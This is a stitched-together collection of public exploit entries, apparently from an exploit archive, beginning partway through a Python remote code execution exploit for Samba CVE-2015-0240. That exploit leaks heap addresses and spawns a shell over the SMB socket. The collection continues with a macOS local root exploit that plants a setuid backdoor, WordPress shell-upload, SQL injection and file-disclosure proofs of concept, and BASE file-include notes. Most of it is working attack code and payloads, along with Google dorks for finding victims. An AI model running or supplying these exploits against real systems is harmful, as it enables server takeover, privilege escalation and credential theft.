good_addr = None
break
good_addr = found_addr
print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr))
start_addr = good_addr
stop_addr = good_addr - payload_size + 0x20
payload_size //= 2
if good_addr is not None:
# try 3 times to find exact address. if address cannot be found, assume
# minimizing payload size is not correct. start minimizing again
for i in range(3):
heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size)
if heap_addr != 0:
break
force_dce_disconnect()
if heap_addr == 0:
print(' [-] failed to find payload adress')
# start from last good address + some offset
start_addr = (good_addr + 0x10000) & 0xffff0000
print('[*] bruteforcing heap adress again from {:x}'.format(start_addr))
payload_addr = heap_addr - len(fake_chunk_find_heap)
print(" [+] found payload addr: {:x}".format(payload_addr))
return payload_addr
########
# leak info
########
def addr2utf_prefix(addr):
def is_badchar(v):
return (v >= 0xd8) and (v <= 0xdf)
prefix = 0 # safe
if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff):
prefix |= 2 # cannot have prefix
if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff):
prefix |= 1 # must have prefix
return prefix
def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False):
"""
Note:
- if next_addr and prev_addr are not zero, they must be writable address
because of below code in _talloc_free_internal()
if (tc->prev) tc->prev->next = tc->next;
if (tc->next) tc->next->prev = tc->prev;
"""
# Note: U+D800 to U+DFFF is reserved (also bad char for samba)
# check if '\x00' is needed to avoid utf16 badchar
prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr)
if prefix_len == 3:
return None # cannot avoid badchar
if prefix_len == 2:
prefix_len = 0
fake_chunk_leak_info = pack("<IIIIIIIIIIII",
next_addr, prev_addr, # next, prev
0, 0, # parent, children
0, 0, # refs, destructor
0, 0, # name, size
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
0, 0, 0, # pool, pad, pad
)
payload = '\x00'*prefix_len+fake_chunk_leak_info + pack("<I", 0x80000) # pool_object_count
set_payload(payload, TARGET_PAYLOAD_SIZE)
if call_only:
return call_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
for i in range(3 if retry else 1):
try:
answers = request_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
except impacket.dcerpc.v5.rpcrt.Exception:
print("impacket.dcerpc.v5.rpcrt.Exception")
answers = None
force_dce_disconnect()
if answers is not None:
# leak info must have next or prev address
if (answers[1] == prev_addr) or (answers[0] == next_addr):
break
#print('{:x}, {:x}, {:x}, {:x}'.format(answers[0], answers[1], answers[2], answers[3]))
answers = None # no next or prev in answers => wrong answer
force_dce_disconnect() # heap is corrupted, disconnect it
return answers
def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True):
# leak by replace r->out.return_authenticator pointer
# Note: because leak_addr[4:8] will be replaced with r_out_addr
# only answers[0] and answers[2] are leaked
return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry)
def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True):
# leak by replace r->out.return_authenticator pointer
# Note: leak_addr[0:4] will be replaced with r_out_addr
# only answers[1] and answers[2] are leaked
return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry)
def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr):
# leak name field ('uint8_t') in found heap chunk
# do not retry this leak, because r_out_addr is guessed
answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False)
if answers is None:
return None
if answers[2] != TALLOC_MAGIC:
force_dce_disconnect()
return None
return answers[0]
def leak_info_find_offset(info):
# offset from pool to payload still does not know
print("[*] guessing 'r' offset and leaking 'uint8_t' address ...")
chunk_addr = info['chunk_addr']
uint8t_addr = None
r_addr = None
r_out_addr = None
while uint8t_addr is None:
# 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0
# 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0
# 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0
# 0xad40 is extra offset when no share on debian
# 0x10d38 is extra offset when only [printers] is shared on debian
for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38):
r_addr = chunk_addr - offset
# 0x18 is out.authenticator offset
r_out_addr = r_addr + 0x18
print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr))
uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr)
if uint8t_addr is not None:
print(" [*] success")
break
print(" [-] failed")
if uint8t_addr is None:
return False
info['uint8t_addr'] = uint8t_addr
info['r_addr'] = r_addr
info['r_out_addr'] = r_out_addr
info['pool_addr'] = r_addr - 0x13c0
print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr']))
print(" [+] pool addr: {:x}".format(info['pool_addr']))
return True
def leak_sock_fd(info):
# leak sock fd from
# smb_request->sconn->sock
# (offset: ->0x3c ->0x0 )
print("[*] leaking socket fd ...")
info['smb_request_addr'] = info['pool_addr']+0x11a0
print(" [*] smb request addr: {:x}".format(info['smb_request_addr']))
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4)
if answers is None:
print(' [-] cannot leak sconn_addr address :(')
return None
force_dce_disconnect() # heap is corrupted, disconnect it
sconn_addr = answers[2]
info['sconn_addr'] = sconn_addr
print(' [+] sconn addr: {:x}'.format(sconn_addr))
# write in padding of chunk, no need to disconnect
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr)
if answers is None:
print('cannot leak sock_fd address :(')
return None
sock_fd = answers[1]
print(' [+] sock fd: {:d}'.format(sock_fd))
info['sock_fd'] = sock_fd
return sock_fd
def leak_talloc_pop_addr(info):
# leak destructor talloc_pop() address
# overwrite name field, no need to disconnect
print('[*] leaking talloc_pop address')
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14)
if answers is None:
print(' [-] cannot leak talloc_pop() address :(')
return None
if answers[2] != 0x2010: # chunk size must be 0x2010
print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(')
return None
talloc_pop_addr = answers[0]
print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr))
info['talloc_pop_addr'] = talloc_pop_addr
return talloc_pop_addr
def leak_smbd_server_connection_handler_addr(info):
# leak address from
# smbd_server_connection.smb1->fde ->handler
# (offset: ->0x9c->0x14 )
# MUST NOT disconnect after getting smb1_fd_event address
print('[*] leaking smbd_server_connection_handler address')
def real_leak_conn_handler_addr(info):
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c)
if answers is None:
print(' [-] cannot leak smb1_fd_event address :(')
return None
smb1_fd_event_addr = answers[1]
print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr))
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14)
if answers is None:
print(' [-] cannot leak smbd_server_connection_handler address :(')
return None
force_dce_disconnect() # heap is corrupted, disconnect it
smbd_server_connection_handler_addr = answers[0]
diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr
if diff > 0x2000000 or diff < 0:
print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
smbd_server_connection_handler_addr = None
return smbd_server_connection_handler_addr
smbd_server_connection_handler_addr = None
while smbd_server_connection_handler_addr is None:
smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info)
print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr
return smbd_server_connection_handler_addr
def find_smbd_base_addr(info):
# estimate smbd_addr from talloc_pop
if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0:
# code has no alignment
start_addr = info['smbd_server_connection_handler_addr'] - 0x124000
else:
start_addr = info['smbd_server_connection_handler_addr'] - 0x130000
start_addr = start_addr & 0xfffff000
stop_addr = start_addr - 0x20000
print('[*] finding smbd loaded addr ...')
while True:
smbd_addr = start_addr
while smbd_addr >= stop_addr:
if addr2utf_prefix(smbd_addr-8) == 3:
# smbd_addr is 0xb?d?e000
test_addr = smbd_addr - 0x800 - 4
else:
test_addr = smbd_addr - 8
# test writable on test_addr
answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False)
if answers is not None:
break
smbd_addr -= 0x1000 # try prev page
if smbd_addr > stop_addr:
break
print(' [-] failed. try again.')
info['smbd_addr'] = smbd_addr
print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr))
def dump_mem_call_addr(info, target_addr):
# leak pipes_struct address from
# smbd_server_connection->chain_fsp->fake_file_handle->private_data
# (offset: ->0x48 ->0xd4 ->0x4 )
# Note:
# - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed
# - target_addr will be replaced with current_pdu_sent address
# check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c
print(' [*] overwrite current_pdu_sent for dumping memory ...')
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48)
if answers is None:
print(' [-] cannot leak chain_fsp address :(')
return False
chain_fsp_addr = answers[1]
print(' [*] chain_fsp addr: {:x}'.format(chain_fsp_addr))
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False)
if answers is None:
print(' [-] cannot leak fake_file_handle address :(')
return False
fake_file_handle_addr = answers[0]
print(' [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr))
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False)
if answers is None:
print(' [-] cannot leak pipes_struct address :(')
return False
pipes_struct_addr = answers[2]
print(' [*] pipes_struct addr: {:x}'.format(pipes_struct_addr))
current_pdu_sent_addr = pipes_struct_addr+0x84
print(' [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr))
# change pipes->out_data.current_pdu_sent to dump memory
return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True)
def dump_smbd_find_bininfo(info):
def recv_till_string(data, s):
pos = len(data)
while True:
data += force_recv()
if len(data) == pos:
print('no more data !!!')
return None
p = data.find(s, pos-len(s))
if p != -1:
return (data, p)
pos = len(data)
return None
def lookup_dynsym(dynsym, name_offset):
addr = 0
i = 0
offset_str = pack("<I", name_offset)
while i < len(dynsym):
if dynsym[i:i+4] == offset_str:
addr = unpack("<I", dynsym[i+4:i+8])[0]
break
i += 16
return addr
print('[*] dumping smbd ...')
dump_call = False
# have to minus from smbd_addr because code section is read-only
if addr2utf_prefix(info['smbd_addr']-4) == 3:
# smbd_addr is 0xb?d?e000
dump_addr = info['smbd_addr'] - 0x800 - 4
else:
dump_addr = info['smbd_addr'] - 4
for i in range(8):
if dump_mem_call_addr(info, dump_addr):
mem = force_recv()
if len(mem) == 4280:
dump_call = True
break
print(' [-] dump_mem_call_addr failed. try again')
force_dce_disconnect()
if not dump_call:
print(' [-] dump smbd failed')
return False
print(' [+] dump success. getting smbd ...')
# first time, remove any data before \7fELF
mem = mem[mem.index('\x7fELF'):]
mem, pos = recv_till_string(mem, '\x00__gmon_start__\x00')
print(' [*] found __gmon_start__ at {:x}'.format(pos+1))
pos = mem.rfind('\x00\x00', 0, pos-1)
dynstr_offset = pos+1
print(' [*] found .dynstr section at {:x}'.format(dynstr_offset))
dynstr = mem[dynstr_offset:]
mem = mem[:dynstr_offset]
# find start of .dynsym section
pos = len(mem) - 16
while pos > 0:
if mem[pos:pos+16] == '\x00'*16:
break
pos -= 16 # sym entry size is 16 bytes
if pos <= 0:
print(' [-] found wrong .dynsym section at {:x}'.format(pos))
return None
dynsym_offset = pos
print(' [*] found .dynsym section at {:x}'.format(dynsym_offset))
dynsym = mem[dynsym_offset:]
# find sock_exec
dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00')
print(' [*] found sock_exec string at {:x}'.format(pos+1))
sock_exec_offset = lookup_dynsym(dynsym, pos+1)
print(' [*] sock_exec offset {:x}'.format(sock_exec_offset))
#info['mem'] = mem # smbd data before .dynsym section
info['dynsym'] = dynsym
info['dynstr'] = dynstr # incomplete section
info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset
print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
# Note: can continuing memory dump to find ROP
force_dce_disconnect()
########
# code execution
########
def call_sock_exec(info):
prefix_len = addr2utf_prefix(info['sock_exec_addr'])
if prefix_len == 3:
return False # too bad... cannot call
if prefix_len == 2:
prefix_len = 0
fake_talloc_chunk_exec = pack("<IIIIIIIIIIII",
0, 0, # next, prev
0, 0, # parent, child
0, # refs
info['sock_exec_addr'], # destructor
0, 0, # name, size
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
0, 0, 0, # pool, pad, pad
)
chunk = '\x00'*prefix_len+fake_talloc_chunk_exec + info['cmd'] + '\x00'
set_payload(chunk, TARGET_PAYLOAD_SIZE)
for i in range(3):
if request_check_valid_addr(info['payload_addr']+TALLOC_HDR_SIZE+prefix_len):
print('waiting for shell :)')
return True
print('something wrong :(')
return False
########
# start work
########
def check_exploitable():
if request_check_valid_addr(0x41414141):
print('[-] seems not vulnerable')
return False
if request_check_valid_addr(0):
print('[+] seems exploitable :)')
return True
print("[-] seems vulnerable but I cannot exploit")
print("[-] I can exploit only if 'creds' is controlled by 'ReferentId'")
return False
def do_work(args):
info = {}
if not (args.payload_addr or args.heap_start or args.start_payload_size):
if not check_exploitable():
return
start_size = 512*1024 # default size with 512KB
if args.payload_addr:
info['payload_addr'] = args.payload_addr
else:
heap_start = args.heap_start if args.heap_start else 0xb9800000+0x30000
if args.start_payload_size:
start_size = args.start_payload_size * 1024
if start_size < TARGET_PAYLOAD_SIZE:
start_size = 512*1024 # back to default
info['payload_addr'] = find_payload_addr(heap_start, start_size, TARGET_PAYLOAD_SIZE)
# the real talloc chunk address that stored the raw netlogon data
# serverHandle 0x10 bytes. accountName 0xc bytes
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
print("[+] chunk addr: {:x}".format(info['chunk_addr']))
while not leak_info_find_offset(info):
# Note: do heap bruteforcing again seems to be more effective
# start from payload_addr + some offset
print("[+] bruteforcing heap again. start from {:x}".format(info['payload_addr']+0x10000))
info['payload_addr'] = find_payload_addr(info['payload_addr']+0x10000, start_size, TARGET_PAYLOAD_SIZE)
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
print("[+] chunk addr: {:x}".format(info['chunk_addr']))
got_fd = leak_sock_fd(info)
# create shell command for reuse sock fd
cmd = "perl -e 'use POSIX qw(dup2);$)=0;$>=0;" # seteuid, setegid
cmd += "dup2({0:d},0);dup2({0:d},1);dup2({0:d},2);".format(info['sock_fd']) # dup sock
# have to kill grand-grand-parent process because sock_exec() does fork() then system()
# the smbd process still receiving data from socket
cmd += "$z=getppid;$y=`ps -o ppid= $z`;$x=`ps -o ppid= $y`;kill 15,$x,$y,$z;" # kill parents
cmd += """print "shell ready\n";exec "/bin/sh";'""" # spawn shell
info['cmd'] = cmd
# Note: cannot use system@plt because binary is PIE and chunk dtor is called in libtalloc.
# the ebx is not correct for resolving the system address
smbd_info = {
0x5dd: { 'uint8t_offset': 0x711555, 'talloc_pop': 0x41a890, 'sock_exec': 0x0044a060, 'version': '3.6.3-2ubuntu2 - 3.6.3-2ubuntu2.3'},
0xb7d: { 'uint8t_offset': 0x711b7d, 'talloc_pop': 0x41ab80, 'sock_exec': 0x0044a380, 'version': '3.6.3-2ubuntu2.9'},
0xf7d: { 'uint8t_offset': 0x710f7d, 'talloc_pop': 0x419f80, 'sock_exec': 0x00449770, 'version': '3.6.3-2ubuntu2.11'},
0xf1d: { 'uint8t_offset': 0x71ff1d, 'talloc_pop': 0x429e80, 'sock_exec': 0x004614b0, 'version': '3.6.6-6+deb7u4'},
}
leak_talloc_pop_addr(info) # to double check the bininfo
bininfo = smbd_info.get(info['uint8t_addr'] & 0xfff)
if bininfo is not None:
smbd_addr = info['uint8t_addr'] - bininfo['uint8t_offset']
if smbd_addr + bininfo['talloc_pop'] == info['talloc_pop_addr']:
# correct info
print('[+] detect smbd version: {:s}'.format(bininfo['version']))
info['smbd_addr'] = smbd_addr
info['sock_exec_addr'] = smbd_addr + bininfo['sock_exec']
print(' [*] smbd loaded addr: {:x}'.format(smbd_addr))
print(' [*] use sock_exec offset: {:x}'.format(bininfo['sock_exec']))
print(' [*] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
else:
# wrong info
bininfo = None
got_shell = False
if bininfo is None:
# no target binary info. do a hard way to find them.
"""
leak smbd_server_connection_handler for 2 purposes
- to check if compiler does code alignment
- to estimate smbd loaded address
- gcc always puts smbd_server_connection_handler() function at
beginning area of .text section
- so the difference of smbd_server_connection_handler() offset is
very low for all smbd binary (compiled by gcc)
"""
leak_smbd_server_connection_handler_addr(info)
find_smbd_base_addr(info)
dump_smbd_find_bininfo(info)
# code execution
if 'sock_exec_addr' in info and call_sock_exec(info):
s = get_socket()
print(s.recv(4096)) # wait for 'shell ready' message
s.send('uname -a\n')
print(s.recv(4096))
s.send('id\n')
print(s.recv(4096))
s.send('exit\n')
s.close()
def hex_int(x):
return int(x,16)
# command arguments
parser = argparse.ArgumentParser(description='Samba CVE-2015-0240 exploit')
parser.add_argument('target', help='target IP address')
parser.add_argument('-hs', '--heap_start', type=hex_int,
help='heap address in hex to start bruteforcing')
parser.add_argument('-pa', '--payload_addr', type=hex_int,
help='exact payload (accountName) address in heap. If this is defined, no heap bruteforcing')
parser.add_argument('-sps', '--start_payload_size', type=int,
help='start payload size for bruteforcing heap address in KB. (128, 256, 512, ...)')
args = parser.parse_args()
requester.set_target(args.target)
try:
do_work(args)
except KeyboardInterrupt:
pass
/* osx-irony-assist.m
*
* Copyright (c) 2010 by <mu-b@digit-labs.org>
*
* Apple MACOS X < 10.9/10? local root exploit
* by mu-b - June 2010
*
* - Tested on: Apple MACOS X <= 10.8.X
*
* $Id: osx-irony-assist.m 16 2015-04-10 09:34:47Z mu-b $
*
* The most ironic backdoor perhaps in the history of backdoors.
* Enabling 'Assistive Devices' in the 'Universal Access' preferences pane
* uses this technique to drop a file ("/var/db/.AccessibilityAPIEnabled")
* in a directory,
*
* drwxr-xr-x 62 root wheel 2108 9 Apr 16:23 db
*
* without being root, now how did you do that?
*
* Copy what you want, wherever you want it, with whatever permissions you
* desire, hmmm, backdoor?
*
* This is now fixed, so I guess this is OK :-)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2010!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#import <SecurityFoundation/SFAuthorization.h>
#import <Foundation/Foundation.h>
/* where you want to write it! */
#define BACKDOOR_BIN "/var/db/.AccessibilityAPIEnabled"
int do_assistive_copy(const char *spath, const char *dpath)
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
id authenticatorInstance, *userUtilsInstance;
Class authenticatorClass, userUtilsClass;
(void) pool;
NSBundle *adminBundle =
[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/Admin.framework"];
authenticatorClass = [adminBundle classNamed:@"Authenticator"];
if (!authenticatorClass)
{
fprintf (stderr, "* failed locating the Authenticator Class\n");
return (EXIT_FAILURE);
}
printf ("* Found Authenticator Class!\n");
authenticatorInstance =
[authenticatorClass performSelector:@selector(sharedAuthenticator)];
userUtilsClass = [adminBundle classNamed:@"UserUtilities"];
if (!userUtilsClass)
{
fprintf (stderr, "* failed locating the UserUtilities Class\n");
return (EXIT_FAILURE);
}
printf ("* found UserUtilities Class!\n");
userUtilsInstance = (id *) [userUtilsClass alloc];
SFAuthorization *authObj = [SFAuthorization authorization];
OSStatus isAuthed = (OSStatus)
[authenticatorInstance performSelector:@selector(authenticateUsingAuthorizationSync:)
withObject:authObj];
printf ("* authenticateUsingAuthorizationSync:authObj returned: %i\n", isAuthed);
NSData *suidBin =
[NSData dataWithContentsOfFile:[NSString stringWithCString:spath
encoding:NSASCIIStringEncoding]];
if (!suidBin)
{
fprintf (stderr, "* could not create [NSDATA] suidBin!\n");
return (EXIT_FAILURE);
}
NSDictionary *createFileWithContentsDict =
[NSDictionary dictionaryWithObject:(id)[NSNumber numberWithShort:2377]
forKey:(id)NSFilePosixPermissions];
if (!createFileWithContentsDict)
{
fprintf (stderr, "* could not create [NSDictionary] createFileWithContentsDict!\n");
return (EXIT_FAILURE);
}
CFStringRef writePath =
CFStringCreateWithCString(NULL, dpath, kCFStringEncodingMacRoman);
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wobjc-method-access"
[*userUtilsInstance createFileWithContents:suidBin path:writePath
attributes:createFileWithContentsDict];
#pragma clang diagnostic pop
printf ("* now execute suid backdoor at %s\n", dpath);
/* send the "Distributed Object Message" to the defaultCenter,
* is this really necessary? (not for ownage)
*/
[[NSDistributedNotificationCenter defaultCenter]
postNotificationName:@"com.apple.accessibility.api"
object:@"system.preferences" userInfo:nil
deliverImmediately:YES];
return (EXIT_SUCCESS);
}
int main (int argc, const char * argv[])
{
printf ("Apple MACOS X < 10.9/10? local root exploit\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2010!@$!\n\n");
if (argc <= 1)
{
fprintf (stderr, "Usage: %s <source> [destination]\n", argv[0]);
exit (EXIT_SUCCESS);
}
return (do_assistive_copy(argv[1], argc >= 2 ? argv[2] : BACKDOOR_BIN));
}
######################
# Exploit Title : Wordpress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload Vulnerability
# Exploit Author : Claudio Viviani
# Software Link : https://downloads.wordpress.org/plugin/website-contact-form-with-file-upload.1.3.4.zip
# Date : 2015-04-1
# Dork Google: index of website-contact-form-with-file-upload
index of /uploads/contact_files/
# Tested on : Linux BackBox 4.0 / curl 7.35.0
#####################
# Info :
The "upload_file()" ajax function is affected from unrestircted file upload vulnerability.
######################
# PoC:
curl -k -X POST -F "action=upload" -F "Filedata=@./backdoor.php" -F "action=nm_webcontact_upload_file" http://VICTIM/wp-admin/admin-ajax.php
Response: {"status":"uploaded","filename":"1427927588-backdoor.php"}
######################
# Backdoor Location:
http://VICTIM/wp-content/uploads/contact_files/1427927588-backdoor.php
#####################
Discovered By : Claudio Viviani
http://www.homelab.it
http://ffhd.homelab.it (Free Fuzzy Hashes Database)
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
#####################
# Exploit Title: Traidnt Up v3.0 SQL Injection
# Google Dork: "Powered by TRAIDNT UP Version 3.0"
# Date: 10-04-2015
# Exploit Author: Ali Sami (ali.albakara@outlook.com)
# Vendor Homepage: http://traidnt.net
# Software Link: http://www.traidnt.net/vb/attachments/519880d1285278011-traidnt-up-v3.0.zip
# Version: 3.0
######### Vulnerable Code ############
File: classUserdb.php
protected function doUpdateLastActive($username)
{
$this->_db->query("UPDATE `users` SET `lastactive` = '" . NOWTIME . "' WHERE `name` = '$username' LIMIT 1 ;");
$sql = "UPDATE `users` SET `lastip` = '" . $this->getIpAddr() . "' WHERE `name` = '$username' LIMIT 1 ;";
echo $sql;
$this->_db->query($sql);
}
private function getIpAddr()
{
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
######################################
########## Explanation ###############
getIpAddr function prioritizes untrusted user input entry (HTTP_CLIENT_IP & HTTP_X_FORWARDED_FOR) over the trusted one (REMOTE_ADDR) and does not sanitization
######################################
########## Proof-of-concept ##########
1. Register an account at the upload center
2. Send a request that consists of an extra header (CLIENT-IP) which must contain the intended SQL to cp.php
#######################################
########## Request Example ###########
GET /up/cp.php HTTP/1.1
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,ar;q=0.6
Cookie: PREF=ID=3a12b65d918b5ae2:U=45f515bf65b09574:FF=4:LD=en:TM=1427718041:LM=1428079570:GM=1:S=fKvs0s67_JroY23b; SID=DQAAABYBAAAXBPxKBeMSz09m3xCH23suPwacDFc9z5ZTI1ryFZK7qYLbSIB4zQXOmaYpafjcxlh6qaAHy-rPNZOPYjnLa-pW4Xly4-XIfNze1b1HCtrbf5Nm5pBrxOdoyeKsjg0-CvszxYHXgkzN7JcJc-1ujf4fHrEZNoSR9k_f2Qm7WX3mXd-8z_guk36_sve2sHN2_d7eeT_e5IQl43NcT5ID_YMNPXQPADss_k0kOraKLeZn7kUs3wox8ZanbvgMSM9O8lQ5oaP7CmtioaFpts1Aunqk43teWMS35YAP6_d9i65Sx32NJoCqGQpMs2pQiMvbxm10DlBixFJuwW1AitFrblnTUg06mgzqTzPLoPVJ_KlHRbeBys_VyJxnmUx1IrwQJzk; HSID=AQJUEVtf4qu2U_FTd; SSID=AN_8N-KoCnT18Clw5; APISID=IqdO-J-4tT4AtOR8/AQp8y6Nd19D86imDx; SAPISID=MMGr9eZKdxn4QieS/Ak36TdFaTbAMrcFGl; S=videobuying=MntGlNA3nRzvbhbjINLRMw; NID=67=TabAC6lMzTQywxlSyMcuCfGN3PSOxY0X3VV0jglmXfVhTEGrkhWyrhTxLDOUytsOKlLuRHJhAatM2tSk5BiAweIssYjppGFH3zGLklwMBFqMwZqlxEQANw-qJwh2Jri6G7fL68NA2PyDT6dPNc9iY_zPfNtQ4jQEHq0Rqio7vRYs_1aPsPWp_mzoWs9lZPps_dmCRWv76C6WvGdw8ZruV86ojr77-qIkjnpVQKAhH5aRDCTGNKFRZ5LIRZXOhw
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
X-Client-Data: CJK2yQEIpbbJAQiptskB
Client-IP: 127.0.0.1', name='admin', password=md5('123') WHERE id = 1--
** This request will update the administrator's username to (admin) and password to (123)
######################################
######################
# Exploit Title : Wordpress Duplicator <= 0.5.14 - SQL Injection & CSRF
# Exploit Author : Claudio Viviani
# Vendor Homepage : http://lifeinthegrid.com/labs/duplicator/
# Software Link : https://downloads.wordpress.org/plugin/duplicator.0.5.14.zip
# Date : 2015-04-08
# Tested on : Linux / Mozilla Firefox
######################
# Description
Wordpress Duplicator 0.5.14 suffers from remote SQL Injection Vulnerability
Location file: /view/actions.php
This is the bugged ajax functions wp_ajax_duplicator_package_delete:
function duplicator_package_delete() {
DUP_Util::CheckPermissions('export');
try {
global $wpdb;
$json = array();
$post = stripslashes_deep($_POST);
$tblName = $wpdb->prefix . 'duplicator_packages';
$postIDs = isset($post['duplicator_delid']) ? $post['duplicator_delid'] : null;
$list = explode(",", $postIDs);
$delCount = 0;
if ($postIDs != null) {
foreach ($list as $id) {
$getResult = $wpdb->get_results("SELECT name, hash FROM `{$tblName}` WHERE id = {$id}", ARRAY_A);
if ($getResult) {
$row = $getResult[0];
$nameHash = "{$row['name']}_{$row['hash']}";
$delResult = $wpdb->query("DELETE FROM `{$tblName}` WHERE id = {$id}");
if ($delResult != 0) {
$post['duplicator_delid'] variable is not sanitized
A authorized user with "export" permission or a remote unauthenticated attacker could
use this vulnerability to execute arbitrary SQL queries on the victim
WordPress web site by enticing an authenticated admin (CSRF)
######################
# PoC
http://target/wp-admin/admin-ajax.php?action=duplicator_package_delete
POST: duplicator_delid=1 and (select * from (select(sleep(20)))a)
######################
# Vulnerability Disclosure Timeline:
2015-04-08: Discovered vulnerability
2015-04-08: Vendor Notification
2015-04-09: Vendor Response/Feedback
2015-04-10: Vendor Send Fix/Patch
2015-04-10: Public Disclosure
#######################
Discovered By : Claudio Viviani
http://www.homelab.it
http://ffhd.homelab.it (Free Fuzzy Hashes Database)
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
#####################
# Exploit Title: Wordpress Plugin 'WP Mobile Edition' Remote File Disclosure Vulnerability
# Date: April 11, 2015
# Exploit Author: @LookHin (Khwanchai Kaewyos)
# Google Dork: inurl:?fdx_switcher=mobile
# Vendor Homepage: https://wordpress.org/plugins/wp-mobile-edition/
# Software Link: https://downloads.wordpress.org/plugin/wp-mobile-edition.2.2.7.zip
# Version: WP Mobile Edition Version 2.2.7
- Overview:
Wordpress Plugin 'WP Mobile Edition' is not filtering data in GET parameter 'files' in file 'themes/mTheme-Unus/css/css.php'
- Search on Google
inurl:?fdx_switcher=mobile
- POC
Exploit view source code wp-config.php
http://[server]/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php
source: https://www.securityfocus.com/bid/51979/info
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
BASE 1.4.5 is vulnerable; other versions may be affected.
Exploit: http://www.example.com/base/base_stat_ports.php?BASE_path=[EV!L]
source: https://www.securityfocus.com/bid/51979/info
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
BASE 1.4.5 is vulnerable; other versions may be affected.
